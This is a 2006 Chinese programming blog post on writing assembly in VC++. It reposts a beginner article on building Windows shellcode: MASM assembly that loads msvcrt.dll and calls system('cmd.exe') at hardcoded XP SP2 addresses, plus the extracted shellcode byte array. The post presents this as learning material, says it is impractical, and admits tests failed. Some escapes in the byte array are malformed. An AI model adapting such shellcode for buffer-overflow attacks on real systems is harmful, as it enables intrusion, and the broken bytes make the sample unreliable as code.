企业即时通讯 - Enterprise Instant Messenger

局域网聊天工具,文字讯息、文件发送、语音通讯、高清视频通讯、远程桌面控制。

用户操作
[即时聊天] [发私信] [加为好友]
FreeEIM StudioID:i_like_cpp
972423次访问,排名32,好友4人,关注者7人。
i_like_cpp的文章
原创 888 篇
翻译 4 篇
转载 69 篇
评论 1148 篇
FreeEIM Studio的公告
最近评论
ScanerKi:#include <stdio.h>

int asm(int s)
{
int t=0;
__asm
{
mov eax, DWORD PTR [ebp+8] ;把s的值传给eax
mov t, eax ;把eax的值传给t
}
printf("- %d……
li_delong:谢谢
li_delong:谢谢
li_delong:谢谢
XUETUJIAN:
文章分类
收藏
相册
EIM 截图
相关软件图片
PI的最精确值
FreeEIM 标签
FreeEIM华军下载
XP SP2 SDK
下载FreeEIM
盛天龙
飞鸽传书
不错的网站
CPPBLOG
局域网聊天
泡妞专家
用VC写Assembly代码(RSS)
百度的Blog(RSS)
存档
软件项目交易
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
订阅到BlogLines
订阅到Yahoo
订阅到GouGou
订阅到飞鸽
订阅到Rojo
订阅到newsgator
订阅到netvibes

原创 用VC写Assembly代码(5) --函数调用(三)收藏

新一篇: [强]用VC++6.0编译调试汇编程序 | 旧一篇: Why Learning Assembly Language is Still a Good Idea

没什么好说的啦,看代码就是啦

#include <windows.h>

void main()
{
 char *a = (char*)MessageBox;
 __asm
 {
  push 0
  push 0
  push 0
  push 0
  mov ebx, 77d5050bh
  call ebx
 }
 printf("%0x\n", a);

顺便转一篇有关SHELLCODE的文章,看起来很简单,但是测试就是不成功.先看看再说.

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

说起ShellCode的编写,那可是一门大学问.本人愚笨,费了好大劲才理解缓冲区溢出的概念.ShellCode可是一次成功的攻击的必不可少的东东,拜读过许多前辈的文章,加上亲身试验,于是有了这么一篇文章.

首先应该有个样本程序,好把ShellCode从中提取出来,要注意的是各个函数的调用都应该用直接Call 函数地址,也就是用C++里面的函数指针,取得各个函数的地址可以先用GetProcAddress()函数取得,并且各个系统里面函数地址也不相同.本来想偷个懒用VC写的,可是发现自己没装VC(晕倒~~~)  那还是用汇编写吧

这个程序首先是LoadLibraryA(msvcrt.dll),然后system(cmd.exe),听起来很简单吧,写起来也很简单

.386
.model flat,stdcall
option casemap:none

.data


.code

start:
    ;LoadLibraryA("msvcrt.dll")
    push ebp
    mov ebp,esp
    push eax
    push eax
    push eax

    mov eax,4356534Dh
    mov dword ptr[ebp-0Ch], eax
    mov eax,442E5452h
    mov dword ptr[ebp-08h], eax
    mov byte ptr[ebp-04h],4Ch
    mov byte ptr[ebp-03h],4Ch
   
    ;我的系统是XP SP2 MSDN版  相关的函数地址也就是这个版本的 
    lea eax,[ebp-0Ch]
    push eax
    mov edx,7C801D77h
    call edx
   

    ;system(cmd.exe)
    push ebp
    mov ebp, esp
    sub esp, 0Ch
   
    mov eax, 2E444D43h
    mov dword ptr [ebp-08h], eax
    mov byte ptr [ebp-04h], 45h
    mov byte ptr [ebp-03h], 58h
    mov byte ptr [ebp-02h], 45h
   
   
    xor edx, edx
    mov byte ptr [ebp-1h], dl
    lea eax, dword ptr [ebp-08h]
    push eax
    mov eax, 77BF93C7h
    call eax
   
    ;ExitProcess(0)
    push 0
    mov eax,7C81CDDAh 
    call eax
   

end start

哈哈,挺简单吧,用MASM编译链接.运行一下  一个可爱的CMD.exe打开了.最后一步提取就更简单了,用调试器查看机器码,抓紧写吧   哈哈   这不 出来了

unsigned char shellcode[]=
"\x55\x8B\xEC\x50\x50\x50\xB8\x4D\x53\x56\x43\x89\x45"
"\xF4\xB8\x52\x54\x2E\x44\x89\x45\xF8\xC6\x45\xFC"
"\x4C\xC6\x45\xFD\x4C\x8D\x45F4\x50\xBA"
"\x77\x1D\x80\x7C" //Address of LoadLibraryA in WinXPSP2
"\xFF\xD2\x55\x8B\xEC\x83\xEC\x0C\xB8\x43\x4D\x44\x2E"
"\x89\x45\xF8\xC6\x45\xFC\x45\xC6\x45\xFD\x58\xC645\xFE"
"\x45\x33\xD2\x88\x55\xFF\x8D\x45\xF8\x50\xB8"
"\xC7\x93\xBF\x77" //Address of system in WinXPSP2
"\xFF\xD0";

这个简单的ShellCode虽然很简单也不实用,但是学习就是要一步一个脚印,有浅至深,这算是在这里记一笔我这几天的一点学习内容.

发表于 @ 2006年10月21日 13:30:00|评论(loading...)|编辑

新一篇: [强]用VC++6.0编译调试汇编程序 | 旧一篇: Why Learning Assembly Language is Still a Good Idea

评论:没有评论。

发表评论  


登录
Csdn Blog version 3.1a
Copyright © FreeEIM Studio